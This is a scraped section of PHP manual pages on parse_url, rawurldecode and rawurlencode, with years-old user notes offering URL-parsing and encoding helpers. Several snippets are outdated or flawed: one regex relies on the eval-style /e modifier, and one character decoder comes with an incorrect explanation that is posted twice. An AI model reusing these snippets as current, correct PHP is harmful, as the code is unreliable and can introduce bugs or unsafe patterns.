jbr at ya-right dot com 02-May-2008 08:24
This function never works the way you think it should...

Example....

<?php

print_r ( parse_url ( 'me:you@sub.site.org/pear/validate.html?happy=me&sad=you#url' ) );

?>

Returns...

Array
(
    [scheme] => me
    [path] => you@sub.site.org/pear/validate.html
    [query] => happy=me&sad=you
    [fragment] => url
)

Here my way of doing parse_url

<?php

function parseUrl ( $url )
{
    $r  = '!(?:(\w+)://)?(?:(\w+)\:(\w+)@)?([^/:]+)?';
    $r .= '(?:\:(\d*))?([^#?]+)?(?:\?([^#]+))?(?:#(.+$))?!i';

    preg_match ( $r, $url, $out );

    return $out;
}

print_r ( parseUrl ( 'me:you@sub.site.org/pear/validate.html?happy=me&sad=you#url' ) );

?>

Returns...

Array
(
    [0] => me:you@sub.site.org/pear/validate.html?happy=me&sad=you#url
    [1] =>
    [2] => me
    [3] => you
    [4] => sub.site.org
    [5] =>
    [6] => /pear/validate.html
    [7] => happy=me&sad=you
    [8] => url
)

Where as...

out[0] = full url
out[1] = scheme or '' if no scheme was found
out[2] = username or '' if no auth username was found
out[3] = password or '' if no auth password was found
out[4] = domain name or '' if no domain name was found
out[5] = port number or '' if no port number was found
out[6] = path or '' if no path was found
out[7] = query or '' if no query was found
out[8] = fragment or '' if no fragment was found
Nicolas Merlet - admin(at)merletn.org 14-Mar-2008 07:05
Please note that parse_url seems not to produce always the same results when passing non-standard urls.

Eg. I was using this code since 2005 (both under PHP 4.3.10 and PHP 5.2.3) :

<?php

  $p = parse_url ( 'http://domain.tld/tcp://domain2.tld/dir/file' ) ;

  $d2 = parse_url ( $p['path'] ) ;

  echo $d2 ;  // returns '/dir/file'

?>

Of course my example is very specific, as URL is not really correct. But using parse_url was a great trick to split URL easily (without using regular expressions).

Unfortunately under PHP 5.2.0-8 (+etch10), parse_url will fail as it does not accept the slash (/) at the beginning of URL.

Here is a possible patch :

<?php

  $p = parse_url ( 'http://domain.tld/tcp://domain2.tld/dir/file' ) ;

  $d2 = parse_url ( substr ( $p['path'] , 1 ) ) ;

  echo $d2 ;  // returns '/dir/file'

?>

However this last code is not optimized at all, and should be replaced by a regular expression to split URL (so that parse_url would be no longer used).

So you should use parse_url very carefully, and verify that you pass only standard URLs...
Nick Smith 05-Sep-2007 02:32
Note that older versions of PHP (e.g., 4.1) returned an blank string as the path for URLs without any path, such as http://www.php.net

However more recent versions of PHP (e.g., 4.4.7) don't set the path element in the array, so old code will get a PHP warning about an undefined index.
Michael Muryn 27-Aug-2007 08:51
Another update to the glue_url function: applied the "isset" treatment to $parsed['pass'].

<?php
function glue_url($parsed)
{
    if (!is_array($parsed)) return false;
    $uri = isset($parsed['scheme']) ? $parsed['scheme'].':'.((strtolower($parsed['scheme']) == 'mailto') ? '' : '//') : '';
    $uri .= isset($parsed['user']) ? $parsed['user'].(isset($parsed['pass']) ? ':'.$parsed['pass'] : '').'@' : '';
    $uri .= isset($parsed['host']) ? $parsed['host'] : '';
    $uri .= isset($parsed['port']) ? ':'.$parsed['port'] : '';
    if(isset($parsed['path']))
    {
        $uri .= (substr($parsed['path'], 0, 1) == '/') ? $parsed['path'] : ('/'.$parsed['path']);
    }
    $uri .= isset($parsed['query']) ? '?'.$parsed['query'] : '';
    $uri .= isset($parsed['fragment']) ? '#'.$parsed['fragment'] : '';
    return $uri;
}
?>
stevenlewis at hotmail dot com 13-Aug-2007 03:08
an update to the glue url function.

you are able to put a host and a path without a slash at the beginning of the path

<?php
function glue_url($parsed)
    {
    if (! is_array($parsed)) return false;
    $uri = isset($parsed['scheme']) ? $parsed['scheme'].':'.((strtolower($parsed['scheme']) == 'mailto') ? '':'//'): '';
    $uri .= isset($parsed['user']) ? $parsed['user'].($parsed['pass']? ':'.$parsed['pass']:'').'@':'';
    $uri .= isset($parsed['host']) ? $parsed['host'] : '';
    $uri .= isset($parsed['port']) ? ':'.$parsed['port'] : '';
    if(isset($parsed['path']))
        {
        $uri .= (substr($parsed['path'],0,1) == '/')?$parsed['path']:'/'.$parsed['path'];
        }
    $uri .= isset($parsed['query']) ? '?'.$parsed['query'] : '';
    $uri .= isset($parsed['fragment']) ? '#'.$parsed['fragment'] : '';
    return $uri;
    }
?>
spam at paulisageek dot com 08-Aug-2007 12:05
In reply to adrian,

Thank you very much for your function. There is a small issue with your relative protocol function. You need to remove the // when making the url the path. Here is the new function.

function resolve_url($base, $url) {
        if (!strlen($base)) return $url;
        // Step 2
        if (!strlen($url)) return $base;
        // Step 3
        if (preg_match('!^[a-z]+:!i', $url)) return $url;
        $base = parse_url($base);
        if ($url{0} == "#") {
                // Step 2 (fragment)
                $base['fragment'] = substr($url, 1);
                return unparse_url($base);
        }
        unset($base['fragment']);
        unset($base['query']);
        if (substr($url, 0, 2) == "//") {
                // Step 4
                return unparse_url(array(
                        'scheme'=>$base['scheme'],
                        'path'=>substr($url,2),
                ));
        } else if ($url{0} == "/") {
                // Step 5
                $base['path'] = $url;
        } else {
                // Step 6
                $path = explode('/', $base['path']);
                $url_path = explode('/', $url);
                // Step 6a: drop file from base
                array_pop($path);
                // Step 6b, 6c, 6e: append url while removing "." and ".." from
                // the directory portion
                $end = array_pop($url_path);
                foreach ($url_path as $segment) {
                        if ($segment == '.') {
                                // skip
                        } else if ($segment == '..' && $path && $path[sizeof($path)-1] != '..') {
                                array_pop($path);
                        } else {
                                $path[] = $segment;
                        }
                }
                // Step 6d, 6f: remove "." and ".." from file portion
                if ($end == '.') {
                        $path[] = '';
                } else if ($end == '..' && $path && $path[sizeof($path)-1] != '..') {
                        $path[sizeof($path)-1] = '';
                } else {
                        $path[] = $end;
                }
                // Step 6h
                $base['path'] = join('/', $path);

        }
        // Step 7
        return unparse_url($base);
}
christian at resource-it dot dk 03-Aug-2007 12:57
I searched for an implementation of rfc3986, which is a newer version of rfc 2392. I may find it here : <http://www.chrsen.dk/fundanemt/files/scripter/php/misc/rfc3986.php> - read the rfc at <http://rfc.net/rfc3986.html>
adrian-php at sixfingeredman dot net 25-Jul-2007 02:58
Here's a function which implements resolving a relative URL according to RFC 2396 section 5.2. No doubt there are more efficient implementations, but this one tries to remain close to the standard for clarity. It relies on a function called "unparse_url" to implement section 7, left as an exercise for the reader (or you can substitute the "glue_url" function posted earlier).

<?php
/**
 * Resolve a URL relative to a base path. This happens to work with POSIX
 * filenames as well. This is based on RFC 2396 section 5.2.
 */
function resolve_url($base, $url) {
        if (!strlen($base)) return $url;
        // Step 2
        if (!strlen($url)) return $base;
        // Step 3
        if (preg_match('!^[a-z]+:!i', $url)) return $url;
        $base = parse_url($base);
        if ($url{0} == "#") {
                // Step 2 (fragment)
                $base['fragment'] = substr($url, 1);
                return unparse_url($base);
        }
        unset($base['fragment']);
        unset($base['query']);
        if (substr($url, 0, 2) == "//") {
                // Step 4
                return unparse_url(array(
                        'scheme'=>$base['scheme'],
                        'path'=>$url,
                ));
        } else if ($url{0} == "/") {
                // Step 5
                $base['path'] = $url;
        } else {
                // Step 6
                $path = explode('/', $base['path']);
                $url_path = explode('/', $url);
                // Step 6a: drop file from base
                array_pop($path);
                // Step 6b, 6c, 6e: append url while removing "." and ".." from
                // the directory portion
                $end = array_pop($url_path);
                foreach ($url_path as $segment) {
                        if ($segment == '.') {
                                // skip
                        } else if ($segment == '..' && $path && $path[sizeof($path)-1] != '..') {
                                array_pop($path);
                        } else {
                                $path[] = $segment;
                        }
                }
                // Step 6d, 6f: remove "." and ".." from file portion
                if ($end == '.') {
                        $path[] = '';
                } else if ($end == '..' && $path && $path[sizeof($path)-1] != '..') {
                        $path[sizeof($path)-1] = '';
                } else {
                        $path[] = $end;
                }
                // Step 6h
                $base['path'] = join('/', $path);

        }
        // Step 7
        return unparse_url($base);
}
?>
Antti Haapala 17-Jul-2007 01:42
Actually the behaviour noticed by the previous poster is quite correct. When the URI scheme is not present, it is plain wrong to assume that something starting with www. is a domain name, and that the scheme is HTTP. Internet Explorer does it that way, sure, but it does not make it any more correct. The documentation says that the function tries to decode the URL as well as it can, and the only sensible and standards-compliant way to decode such URL is to expect it to be a relative URI.
Elliott Brueggeman 03-Jun-2007 03:59
Note that if you pass this function a url without a scheme (www.php.net, as opposed to http://www.php.net), the function will incorrectly parse the results. In my test case it returned the domain under the ['path'] element and nothing in the ['host'] element.
Marc-Antoine Ross 14-Mar-2007 08:10
Do not look for the fragment in $_SERVER['QUERY_STRING'], you will not find it. You should read the fragment in JavaScript for example.
alistair at 21degrees dot com dot au 23-Oct-2006 07:21
Heres a simple function to add the $component option in for PHP4. Haven't done exhaustive testing, but should work ok.

<?php

    ## Defines only available in PHP 5, created for PHP4
    if(!defined('PHP_URL_SCHEME')) define('PHP_URL_SCHEME', 1);
    if(!defined('PHP_URL_HOST')) define('PHP_URL_HOST', 2);
    if(!defined('PHP_URL_PORT')) define('PHP_URL_PORT', 3);
    if(!defined('PHP_URL_USER')) define('PHP_URL_USER', 4);
    if(!defined('PHP_URL_PASS')) define('PHP_URL_PASS', 5);
    if(!defined('PHP_URL_PATH')) define('PHP_URL_PATH', 6);
    if(!defined('PHP_URL_QUERY')) define('PHP_URL_QUERY', 7);
    if(!defined('PHP_URL_FRAGMENT')) define('PHP_URL_FRAGMENT', 8);

    function parse_url_compat($url, $component=NULL){

        if(!$component) return parse_url($url);

        ## PHP 5
        if(phpversion() >= 5)
            return parse_url($url, $component);

        ## PHP 4
        $bits = parse_url($url);

        switch($component){
            case PHP_URL_SCHEME: return $bits['scheme'];
            case PHP_URL_HOST: return $bits['host'];
            case PHP_URL_PORT: return $bits['port'];
            case PHP_URL_USER: return $bits['user'];
            case PHP_URL_PASS: return $bits['pass'];
            case PHP_URL_PATH: return $bits['path'];
            case PHP_URL_QUERY: return $bits['query'];
            case PHP_URL_FRAGMENT: return $bits['fragment'];
        }

    }

?>
TheShadow 30-Dec-2004 12:36
You may want to check out the PEAR NET_URL class. It provides easy means to manipulate URL strings.

http://pear.php.net/package/Net_URL
http_build_query
rawurldecode
URL Functions


Decode URL-encoded strings

parse_url
rawurlencode
URL Functions
PHP Manual

rawurldecode

(PHP 4, PHP 5)

rawurldecode — Decode URL-encoded strings

Description

string rawurldecode ( string $str )

Returns a string in which the sequences with percent (%) signs followed by two hex digits have been replaced with literal characters.

Parameters

str

The URL to be decoded.

Return Values

Returns the decoded URL, as a string.

Examples

Example #1 rawurldecode() example

<?php

echo rawurldecode('foo%20bar%40baz'); // foo bar@baz

?>

Notes

Note:

rawurldecode() does not decode plus symbols ('+') into spaces. urldecode() does.

See Also

  • rawurlencode() - URL-encode according to RFC 3986
  • urldecode() - Decodes URL-encoded string
  • urlencode() - URL-encodes string
  • » RFC 3986

User Contributed Notes

Cagivaracer 06-Jul-2009 04:40
Please note that the combination encodeURIComponent (Javascript) and rawurldecode (PHP) only works well if magic quotes are turned off in php.ini (magic_quotes_gpc = Off)
Javier A. Segura at gmail dot com 04-Jan-2008 12:13
Hi everybody =) My name is Javier and I'm from Argentina.
I've had a little issue with latin characters like ñ","Ñ","á","é","í", etc.
They are not decoded with rawurlencode(), so I've made this:
<?php
function urlRawDecode($raw_url_encoded)
{
    # Hex conversion table
    $hex_table = array(
        0 => 0x00,
        1 => 0x01,
        2 => 0x02,
        3 => 0x03,
        4 => 0x04,
        5 => 0x05,
        6 => 0x06,
        7 => 0x07,
        8 => 0x08,
        9 => 0x09,
        "A"=> 0x0a,
        "B"=> 0x0b,
        "C"=> 0x0c,
        "D"=> 0x0d,
        "E"=> 0x0e,
        "F"=> 0x0f
    );

    # Fixin' latin character problem
        if(preg_match_all("/\%C3\%([A-Z0-9]{2})/i", $raw_url_encoded,$res))
        {
            $res = array_unique($res = $res[1]);
            $arr_unicoded = array();
            foreach($res as $key => $value){
                $arr_unicoded[] = chr(
                        (0xc0 | ($hex_table[substr($value,0,1)]<<4))
                       | (0x03 & $hex_table[substr($value,1,1)])
                );
                $res[$key] = "%C3%" . $value;
            }

            $raw_url_encoded = str_replace(
                                    $res,
                                    $arr_unicoded,
                                    $raw_url_encoded
                        );
        }

        # Return decoded  raw url encoded data
        return rawurldecode($raw_url_encoded);
}

print urlRawDecode("%C3%A1%C3%B1");

// output:
// áñ

?>
For example, you have the character "ñ" encoded like this "%C3%B1".
This is nothing more and nothing less than 0xc3 and 0xb1,
they are binary numbers, (HHHH LLLL, where HHHH=High and LLLL=Low).
0xc3 = 1100 0011 (binary 8 bit word), 0xb1 = 1011 0001 (binary 8 bit word),
To convert a raw encoded character to ascii we have to make boolean operations
between this two operands (0xc3 and 0xb1), boolean algebra were defined by George
Boole, we need to use them here. The first one we going to use is the
logical OR ("|" or "pipe") and logical AND ("&" or "and person").

A logical OR implies the following truth table:
a b (a OR b)
0 0     0
0 1     1   (a OR b or Both, a and b, must be true to get a true result)
1 0     1
1 1     1

A logical AND implies the following truth table:
a b (a AND b)
0 0     0
0 1     0
1 0     0
1 1     1   (Both a AND b, must be true to get a true result)

So, here we have to make a logical OR with both 0xc3 and 0xb1 HIGH nibble,
a nibble is a half byte (4 bits), so we have to make a logical OR between
1100 (0xc) and 1011 (0xb), we going to get this: 1111 (0xf), then we have to make
a logical AND between both LOW nibble, 0011 (0x3) and 0001 (0x1), we going to get
this: 0001, so, if we want to see the final result, we have to put HIGH and LOW
nibble on his Byte position, like this: 1111 0001 (0xf1) and that is nothing
more and nothing less than "ñ" (to check this out, try the following: print(chr(0xf1));).

This "<<" is a logical shift left, if we have this binary number 0001 (1) and we make this:
0001 << 2 we'll get 0100 (4) right bits are filled with 0's.

<?php
# Conversion example %C3%B1 to ASCII (0x71)
print(
    chr(
        (0xc0|0x0b<<4) | (0x03&0x01)
    )
);

// Output will be:
// ñ

// 1100 0000 OR 1011 0000 = 1111 0000 (0xf0)
// 0000 0011 AND 0000 0001 = 0000 0001 (0x01)
// 1111 0000 OR 0000 0001 = 1111 0001 (0xf1)

?>

PS: I'm so sorry about my english, I know, is horrible :P
Javier A. Segura at gmail dot com 04-Jan-2008 12:07
Hi everybody =) My name is Javier and I'm from Argentina.
I've had a little issue with latin characters like ñ","Ñ","á","é","í", etc.
They are not decoded with rawurlencode(), so I've made this:
<?php
function urlRawDecode($raw_url_encoded)
{
    # Hex conversion table
    $hex_table = array(
        0 => 0x00,
        1 => 0x01,
        2 => 0x02,
        3 => 0x03,
        4 => 0x04,
        5 => 0x05,
        6 => 0x06,
        7 => 0x07,
        8 => 0x08,
        9 => 0x09,
        "A"=> 0x0a,
        "B"=> 0x0b,
        "C"=> 0x0c,
        "D"=> 0x0d,
        "E"=> 0x0e,
        "F"=> 0x0f
    );

    # Fixin' latin character problem
        if(preg_match_all("/\%C3\%([A-Z0-9]{2})/i", $raw_url_encoded,$res))
        {
            $res = array_unique($res = $res[1]);
            $arr_unicoded = array();
            foreach($res as $key => $value){
                $arr_unicoded[] = chr(
                        (0xc0 | ($hex_table[substr($value,0,1)]<<4))
                       | (0x03 & $hex_table[substr($value,1,1)])
                );
                $res[$key] = "%C3%" . $value;
            }

            $raw_url_encoded = str_replace(
                                    $res,
                                    $arr_unicoded,
                                    $raw_url_encoded
                        );
        }

        # Return decoded  raw url encoded data
        return rawurldecode($raw_url_encoded);
}

print urlRawDecode("%C3%A1%C3%B1");

// output:
// áñ

?>
For example, you have the character "ñ" encoded like this "%C3%B1".
This is nothing more and nothing less than 0xc3 and 0xb1,
they are binary numbers, (HHHH LLLL, where HHHH=High and LLLL=Low).
0xc3 = 1100 0011 (binary 8 bit word), 0xb1 = 1011 0001 (binary 8 bit word),
To convert a raw encoded character to ascii we have to make boolean operations
between this two operands (0xc3 and 0xb1), boolean algebra were defined by George
Boole, we need to use them here. The first one we going to use is the
logical OR ("|" or "pipe") and logical AND ("&" or "and person").

A logical OR implies the following truth table:
a b (a OR b)
0 0     0
0 1     1   (a OR b or Both, a and b, must be true to get a true result)
1 0     1
1 1     1

A logical AND implies the following truth table:
a b (a AND b)
0 0     0
0 1     0
1 0     0
1 1     1   (Both a AND b, must be true to get a true result)

So, here we have to make a logical OR with both 0xc3 and 0xb1 HIGH nibble,
a nibble is a half byte (4 bits), so we have to make a logical OR between
1100 (0xc) and 1011 (0xb), we going to get this: 1111 (0xf), then we have to make
a logical AND between both LOW nibble, 0011 (0x3) and 0001 (0x1), we going to get
this: 0001, so, if we want to see the final result, we have to put HIGH and LOW
nibble on his Byte position, like this: 1111 0001 (0xf1) and that is nothing
more and nothing less than "ñ" (to check this out, try the following: print(chr(0xf1));).

This "<<" is a logical shift left, if we have this binary number 0001 (1) and we make this:
0001 << 2 we'll get 0100 (4) right bits are filled with 0's.

<?php
# Conversion example %C3%B1 to ASCII (0x71)
print(
    chr(
        (0xc0|0x0b<<4) | (0x03&0x01)
    )
);

// Output will be:
// ñ

// 1100 0000 OR 1011 0000 = 1111 0000 (0xf0)
// 0000 0011 AND 0000 0001 = 0000 0001 (0x01)
// 1111 0000 OR 0000 0001 = 1111 0001 (0xf1)

?>

PS: I'm so sorry about my english, I know, is horrible :P
Tomek Perlak [tomekperlak at tlen pl] 13-Nov-2006 03:03
Let's say you pass some data between the client and the server in a more or less array-like structure.

If using the [] brackets in the field names is not enough (or won't comply with the rest of the project for some reason), you might have to use a string with a number of different delimiters (rows, fields, rows inside fields and such).

To make sure that the data doesn't get mistaken for delimiters, you can use the encodeURIComponent() JavaScript function. It pairs nicely with rawurldecode().

Once the string passed to the server side finally gets exploded into an array (or set of such), you could use the following function to recursively rawurldecode the array(s):

<?php

function rawurldecode_array(&$arr)
{
    foreach (array_keys($arr) as $key)
    {
        if (is_array($arr[$key]))
        {
            rawurldecode_array($arr[$key]);
        }
        else
        {
            $arr[$key] = rawurldecode($arr[$key]);
        }
    }
}

$a[0] = rawurlencode("2+1:3?9");
$a["k"] = rawurlencode("@:-/");
$a[-3][0] = rawurlencode("+");
$a[-3][2] = rawurlencode("=_~");
$a[-3]["a"] = rawurlencode("this+is a%test");

echo "<pre>"; print_r($a); echo "</pre>";

rawurldecode_array($a);

echo "<pre>"; print_r($a); echo "</pre>";

?>

The program will output:

Array
(
    [0] => 2%2B1%3A3%3F9
    [k] => %40%3A-%2F
    [-3] => Array
        (
            [0] => %2B
            [2] => %3D_%7E
            [a] => this%2Bis%20a%25test
        )

)

Array
(
    [0] => 2+1:3?9
    [k] => @:-/
    [-3] => Array
        (
            [0] => +
            [2] => =_~
            [a] => this+is a%test
        )

)
nelson at phprocks dot com 02-Apr-2006 02:18
This function also decodes utf8 strings so it behaves more like the javascript unscape() function.

<?php

function utf8RawUrlDecode ($source) {
    $decodedStr = "";
    $pos = 0;
    $len = strlen ($source);
    while ($pos < $len) {
        $charAt = substr ($source, $pos, 1);
        if ($charAt == '%') {
            $pos++;
            $charAt = substr ($source, $pos, 1);
            if ($charAt == 'u') {
                // we got a unicode character
                $pos++;
                $unicodeHexVal = substr ($source, $pos, 4);
                $unicode = hexdec ($unicodeHexVal);
                $entity = "&#". $unicode . ';';
                $decodedStr .= utf8_encode ($entity);
                $pos += 4;
            }
            else {
                // we have an escaped ascii character
                $hexVal = substr ($source, $pos, 2);
                $decodedStr .= chr (hexdec ($hexVal));
                $pos += 2;
            }
        } else {
            $decodedStr .= $charAt;
            $pos++;
        }
    }
    return $decodedStr;
}

?>
php dot net at hiddemann dot org 23-May-2005 02:08
To sum it up: the only difference of this function to the urldecode function is that the "+" character won't get translated.
parse_url
rawurlencode
URL Functions


URL-encode according to RFC 3986

rawurldecode
urldecode
URL Functions
PHP Manual

rawurlencode

(PHP 4, PHP 5)

rawurlencode — URL-encode according to RFC 3986

Description

string rawurlencode ( string $str )

Encodes the given string according to » RFC 3986.

Parameters

str

The URL to be encoded.

Return Values

Returns a string in which all non-alphanumeric characters except -_.~ have been replaced with a percent (%) sign followed by two hex digits. This is the encoding described in » RFC 3986 for protecting literal characters from being interpreted as special URL delimiters, and for protecting URLs from being mangled by transmission media with character conversions (like some email systems).

Note:

Prior to PHP 5.3.0, rawurlencode encoded tildes (~) as per » RFC 1738.

Changelog

Version | Description
5.3.4 | Tilde characters are no longer encoded when rawurlencode() is used with EBCDIC strings.
5.3.0 | Now conforms to » RFC 3986.

Examples

Example #1 including a password in an FTP URL

<?php
echo '<a href="ftp://user:', rawurlencode('foo @+%/'),
     '@ftp.example.com/x.txt">';
?>

The above example will output:

<a href="ftp://user:foo%20%40%2B%25%2F@ftp.example.com/x.txt">

Or, if you pass information in a PATH_INFO component of the URL:

Example #2 rawurlencode() example 2

<?php
echo '<a href="http://example.com/department_list_script/',
    rawurlencode('sales and marketing/Miami'), '">';
?>

The above example will output:

<a href="http://example.com/department_list_script/sales%20and%20marketing%2FMiami">

See Also

  • rawurldecode() - Decode URL-encoded strings
  • urldecode() - Decodes URL-encoded string
  • urlencode() - URL-encodes string
  • » RFC 3986

User Contributed Notes

Anonymous 22-Jan-2012 03:42
If you, like me, sometimes have the misfortune of being forced to work with PHP4, here is a PHP implementation of http_build_query() that produces more or less the same output as this function, accepting the same arguments.

The only differences here are that the RFC selector argument does not behave precisely correctly. This implementation passes RFC1738 through urlencode() and RFC3986 through rawurlencode(), which is not 100% correct, see the manual pages of those function for more information.

<?php

  if (!function_exists('http_build_query')) {

    if (!defined('PHP_QUERY_RFC1738')) define('PHP_QUERY_RFC1738', 1);
    if (!defined('PHP_QUERY_RFC3986')) define('PHP_QUERY_RFC3986', 2);

    function http_build_query ($query_data, $numeric_prefix = NULL, $arg_separator = NULL, $enc_type = PHP_QUERY_RFC1738, $base = NULL) {
      $result = array();
      $arg_separator = ($arg_separator != '') ? (string) $arg_separator : ini_get('arg_separator.output');
      $enc_func = ($enc_type == PHP_QUERY_RFC3986) ? 'rawurlencode' : 'urlencode';
      foreach ($query_data as $key => $item) $result[] = (is_array($item) || is_object($item)) ? http_build_query($item, NULL, $arg_separator, $enc_type, ($base !== NULL) ? "$base%5B".$enc_func($key).'%5D' : $enc_func($key)) : (($base !== NULL) ? "$base%5B".$enc_func($key).'%5D='.$enc_func($item) : ((is_int($key) && $numeric_prefix !== NULL) ? (string) $numeric_prefix : '').$enc_func($key).'='.$enc_func($item));
      return implode($arg_separator, $result);
    }

  }
ToKaM 23-Oct-2010 03:32
Be careful here. rawurlencode changes Ã¤ to %C3%83%C2%A4 but firefox changes this internally to %c3%83%c2%a4. This could lead to bugs with rewrite loops.
Cheers.
bolvaritamas at vipmail dot hu 07-Oct-2010 06:25
I've written a simple function to convert an UTF-8 string to URL encoded string. All the given characters are converted!

The function:
<?php
function mb_rawurlencode($url){
$encoded='';
$length=mb_strlen($url);
for($i=0;$i<$length;$i++){
$encoded.='%'.wordwrap(bin2hex(mb_substr($url,$i,1)),2,'%',true);
}
return $encoded;
}
?>

Example:
<?php
echo 'http://example.com/',
    mb_rawurlencode('ä½ å¥½');
?>

The above example will output:
http://example.com/%e4%bd%a0%e5%a5%bd
hiroaki dot kawai at gmail dot com 22-Oct-2008 07:40
phpversion()>=5.3 will compliant with RFC 3986, while phpversion()<=5.2.7RC1 is not compliant with RFC 3986.

History of related RFCs:

RFC 1738 section 2.2
 only alphanumerics, the special characters "$-_.+!*'(),", and
 reserved characters used for their reserved purposes may be used
 unencoded within a URL.

RFC 2396 section 2.3
 unreserved  = alphanum | mark
 mark        = "-" | "_" | "." | "!" | "~" | "*" | "'" | "(" | ")"

RFC 2732 section 3
 (3) Add "[" and "]" to the set of 'reserved' characters:

RFC 3986 section 2.3
 unreserved = ALPHA / DIGIT / "-" / "." / "_" / "~"

RFC 3987 section 2.2
 unreserved = ALPHA / DIGIT / "-" / "." / "_" / "~"
hello at [spamword]haroonahmad dot co dot uk 21-Aug-2008 12:45
You cannot use urlencode or rawurlencode within header(Location:/Refresh) They convert the forward slashes and colon and hence header() does not take you to the other site but tries to search the url on your own site e.g

$url="http://www.haroonahmad.co.uk?index.php?feed=xxx&aff=zzz"
header("Refresh:1; URL='".urlencode($url)."'")

say if you run this on www.example.com it will redirect to

www.example.com/
http%3A%2F%2Fwww.haroonahmad.co.uk
%3Findex.php%3Ffeed%3Dxxx%26aff%3Dzzz

(i have broken the above single long line into multiple lines for the comfort of posting on this manual)

and hence showing the 404 not found error.

You got to encode the query string variables separately and send in the url and not the full url itself.
herenvardo at gmail dot com 15-Aug-2008 04:11
I have to mention something about javier's post: the issue you are experiencing only happens because you are using ISO-8859-1 (a.k.a. ISO-LATIN-1) encoding, which is an extension of ASCII using the values 128-255 for latin specific characters (these characters are NOT part of ASCII). To say somethig like 0xF1 is the correct value for "Ã±" in ASCII is wrong: any value equal or higher than 0x80 is invalid in ASCII; and there is no "correct" value for "Ã±" in ASCII because the ASCII character set does not include that character.
These encode/decode functions are designed to work on UTF-8, which is an ASCII-compatible encoding for Unicode, thus being able to represent the entire Unicode character range.

The main point is: the "ÃƒÂ±" you get is the 0xC3 0xB1 sequence, interpreted as two single-byte ISO-8859-1 characters; but if you interpret them as UTF-8, they indeed represent "Ã±". If you are working with the latin character set and encoding, then you are fine with your method (which is essentially a utf-8 => iso-latin-1 converter).

For anybody who is using UTF-8 enconding, check if there is any issue before you use a method like javier's: these multi-byte values are actually the right way to represent any non-ASCII character on UTF-8.

For deeper details on the UTF-8 and ISO-8859-1 encodings, take a look at wikipedia:
http://en.wikipedia.org/wiki/UTF-8
http://en.wikipedia.org/wiki/ISO-8859-1
javier dot alejandro dot segura at gmail dot com 04-Jan-2008 11:40
<?php
/*
 :: Latin characters issue using rawurldecode() ::
    ------------------------------------------

What happen if you need tu convert this %C3%B1 into this 'Ã±' using rawurldecode()? Well, it doesn't work as we'd wish to. We'll get this "ÃƒÂ±". To fix this issue, I've made the following function:

*/

    function urlRawDecode($raw_url_encoded)
    {
        # Hex conversion table
        $hex_table = array(
            0 => 0x00,
            1 => 0x01,
            2 => 0x02,
            3 => 0x03,
            4 => 0x04,
            5 => 0x05,
            6 => 0x06,
            7 => 0x07,
            8 => 0x08,
            9 => 0x09,
            "A"=> 0x0a,
            "B"=> 0x0b,
            "C"=> 0x0c,
            "D"=> 0x0d,
            "E"=> 0x0e,
            "F"=> 0x0f
        );

        # Looking for latin characters with a pattern like this %C3%[A-Z0-9]{2} ie. -> %C3%B1 = 'Ã±'
        if(preg_match_all("/\%C3\%([A-Z0-9]{2})/i",$raw_url_encoded,$res))
        {
            $res = array_unique($res = $res[1]);
            $arr_unicoded = array();
            foreach($res as $key => $value){
                $arr_unicoded[] = chr(
                    (0xc0 | ($hex_table[substr($value,0,1)]<<4)) | (0x03 & $hex_table[substr($value,1,1)])
                );
                $res[$key] = "%C3%" . $value;
            }

            $raw_url_encoded = str_replace($res,$arr_unicoded,$raw_url_encoded);
        }

        # Return raw url decoded
        return rawurldecode($raw_url_encoded);
    }

# Testing
print "Decoded character -> " . urlRawDecode("%C3%B1");

// ouput:
//         Decoded chracter -> Ã±

/*

:: A little explanation about what does this function do ::
   -----------------------------------------------------

This function makes two binary operations between C3 and B1. To get an ASCII representation of this kind of raw url encoded character, we have to make a logical OR between HIGH nibble of 0xC3 (0xC) and HIGH nibble of 0xB1 (0xB) -> (0xC0 | 0xB0), then, a logical AND between both LOW nibble (0x03 & 0x01), and finally we have to make a logical OR between these two results -> [hex] ((0xC0 | 0xB0) | (0x03 & 0x01)) = [binary] ((1100 0000 | 1011 0000) | (0000 0011 & 0000 0001)) = [hex] 0xF1 = [binary] 1111 0001 = "Ã±" character.

Hope to be helpfull, if you have an issue like this, try to use this function.

Bye,

Javi =)

*/
?>
daggillies at gmail dot com 20-Jul-2007 09:19
When passing variables from JavaScript to PHP (via AJAX, perhaps, or by setting location.href), the analogue of this function is encodeURIComponent()

Example:
<?php // JavaScript actually
var comments=document.getElementById('comments').value;
var url=location.protocol+'//'+location.host+
   '/handle_form.php?comments='+encodeURIComponent(comments);
location.href=url;
?>
christian _no interest in at spam dot com 25-Jan-2007 05:53
I had serious trouble with local Windows paths containing umlauts on my Apache 2 / Windows NT machine. Apache could not find any of those files if I just used rawurlencode. It's not noted anywhere here, but you fix this by simply making your path utf8 first:

rawurlencode(utf8_encode($str));
Tomek Perlak [tomekperlak at tlen pl] 13-Nov-2006 03:15
Note in regards to 'rickyale at ig dot com dot br' program:

Wouldn't the whole issue be fixed by using charset=utf-8 in the HTML page?

I'm passing some data between the HTML form and an PHP program - my 'special' characters have to do with the Polish alphabet - and it looks like JavaScript encoding actually... works.

Of course, I could have tested only a limitted number of cases.

Just a thought.
piotr DOT wydrych AT gmail DOT com 29-Mar-2006 02:40
You can encode paths using:

<?php
$encoded = implode("/", array_map("rawurlencode", explode("/", $path)));
?>
jeroen at virtualhost dot nl 27-Feb-2006 03:55
On the comments of rickyale and djmaze...
Is what you try to achieve is not a combination of utf8 and url encoding, e.g. :

<?
$str = "bløf Charlène";
$enc = urlencode(utf8_encode($str));
$str2 = utf8_decode(urldecode($enc));
echo "$str -> $enc -> $str2";
?>

will output:
bløf Charlène -> bl%C3%B8f+Charl%C3%A8ne -> bløf Charlène

At least works for me, Jeroen Hofstee
djmaze@dragonflycms 02-Feb-2006 03:36
Easier version to 'rickyale at ig dot com dot br' his example

<?php
function encode($text)
{
    $REQUEST_URI = str_replace('"', '%22', $text);
    // 0 - 128
    return preg_replace('#([\x3C\x3E])#e', '"%".bin2hex(\'\\1\')', $text);
}
?>
Just fill the regular expression with all characters that you need to have encoded.

NOTE: 142 and up in his array are language specific ASCII characters so the conversion to their unicode ('%C5%BD') equivelant may or may not work for you.
This needs a far more serious and bigger system to handle for non us tables
rickyale at ig dot com dot br 02-Dec-2005 08:15
As peter@nospam said, the microsoft uses an different table for encode string when sending data...

with some test i have created a table with this encodes for special char like á é í ó ú

here is it for those who need know what is this table..

the index of array is the ord() of a character..
use with chr(index) to know the char.. and replace with the value.....

